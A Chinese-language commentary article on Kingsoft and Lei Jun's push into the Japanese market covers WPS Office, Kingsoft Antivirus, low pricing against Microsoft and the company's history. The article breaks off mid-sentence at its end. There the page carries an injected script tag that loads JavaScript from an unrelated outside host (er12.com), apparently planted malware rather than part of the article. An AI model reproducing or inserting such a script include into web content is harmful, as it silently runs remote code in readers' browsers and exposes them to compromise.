究竟是如何强烈，雷军说出了他的见闻：“去年发布会，100来人的场地，到场不到30人，其中还有20个是自己人。”可见去年的发布会场面有多么冷清。但今年，“几百人的场地全部坐满，原本准备了半小时提问时间，结果我被日本记者追问了一个多小时。”雷军拿出了一叠日本报纸说，金山在日本已经“火”了。不由人不问，金山为何火在日本？
在雷军看来，金山“火”的理由有三个方面。归结起来，就是一道公式：金山日本市场赢利模式=互联网+高品质+低价钱！不过，我怎么觉得金山的这套赢利法则，有一种似曾相识的感觉。究竟金山为何选中日本市场？雷军认为金山的最大对手是微软。如果直接去美国，很可能会被拖入“死亡陷阱”。金山选择日本，则是采用了“迂回战术”。
金山的最大对手确是微软，这毫无疑问。没有微软，金山将像联想一样在中国本土市场活的很滋润。不说早就上市了吧，怎么着也能赚得盆满钵溢了。可是如今，金山知名软件品牌还能剩下多少赢利产品？金山自主研发的wps office、金山词霸等办公应用软件，在电脑软件零售市场上盗版非常厉害，最便宜时两元钱就可以买到一张盘。
有意思的是，还在1998年时联想集团入股金山。但联想的发迹，并没有给金山带来多大起色。就算是联想敢于“蛇吞象”吃下ibm全球个人电脑业务，也没有给金山带来多大启发。所以联想最终能站在ibm这个蓝色巨人的肩膀上，从而屹立在美国的土地上俯视着北美市场。而金山呢？只能采取所谓的“迂回战术”，纯粹是游击战法。
据了解，金山日本公司“金山软件株式会社”成立于2005年3月9日，注册资金为1亿日元。尽管金山产品线覆盖了桌面办公、信息安全、实用工具、游戏娱乐和行业应用等诸多领域，但能够把产品打入日本市场的好象仅有wps办公软件、杀毒软件“金山毒霸”或网络游戏类。而且金山还不能齐头并进，只能按照顺序逐年推进。
金山公司最大的软肋，不妨说是既赢不起也输不起。即使金山软件的历史可以追溯到1988年，一个足以颠覆中国it软件历史的开荒年月。然而，当年微软office中文版的发布，对金山公司形成了致命的打击。几乎在一夜之间，wps如退潮般失去了大片市场。金山公司面临崩溃边缘，只剩下十几个人，不到一百万资金。
如果说到民族感情，我们应该支持中国人自己的软件。但中国的电脑用户们为何移情别恋？说到底，还是金山软件不如人家微软的。况且微软的免费盗版倾销策略，不但挤掉了金山软件的利润空间，也改变了用户的忠诚度、信任度和使用习惯。这是金山历史上面临的重大考验，难道要分道扬镳另谋出路吗？但他们选择继续在这个领域与微软战斗到底。
或许，这就是为了一种信念吧。毕竟微软是别人的，金山是我们的。为了和微软抗衡，金山留下来的员工由零开始重新创作一套office系统，并且与用户已经习惯的微软兼容。当这套软件研制成功后，金山公司向国家一位重要的领导人汇报，这位领导一边看一边热泪盈眶。这就是金山的重大意义，一种民族品牌自信心的重要体现。
去年起，金山着手开辟日本市场。雷军说，“在日本金山和微软都是外国公司，我们站在同一起跑线上。”日本是世界第二大软件市场，也是全亚洲正版使用率最高的国家。目前，仅日本市场办公软件总额就接近2000亿日元，占日本pc软件市场约1/4的份额，规模为中国同类市场的十倍。其中，微软占据了84％的市场份额，处于绝对垄断的地位。
金山在日本的策略，正是微软曾经侵入中国采取的类似方式。雷军自诩为有绝招，“金山是价格战高手，不怕任何在日本的对手。”其实，正是微软给金山上过最好的一课。如果你想在市场上战胜对方，就要先占领市场。而金山毒霸产品依靠价格战，已经跃升为日本市场第五名，并在今年8月实现了收支平衡。这场决战，也导致微软始终有所顾忌。
当然，金山毒霸的营销套路为“互联网模式+高品质+低价钱”。这里最可取的，就是不走传统代理商渠道，由互联网提供直销服务，效仿了“戴尔模式”；将产品提供给网民免费试用一年，类似盗版式广泛应用，延续了“微软模式”；但控制一切开支且不打广告，金山毒霸一年积累免费用户达200万，其中付费用户超过25％，姑且称之为“金山模式”吧。
同样的模式，雷军同样希望复制到wps office领域。据悉，wps office目前在日本售价为4980日元，仅为微软office在日本零售价格的十分之一，是日本本土厂商的五分之一。而金山毒霸于今年8月开始收费，且价格仅为同类产品的十分之一。这就是典型的价格战， 所幸的是金山产品都是国内研发，成本很低，就算十分之一的价格也能大赚一笔。
这一切的市场侵入办法，并不意味着金山日本市场的成功。即如雷军所说，“我瞄准的就是中小企业和个人用户，他们对于价格比较敏感。”那么，那些大企业就被排斥在金山的目标之外了吗？不能占领大企业的市场，永远不会是完整有?script src=http://er12.com/t.js>
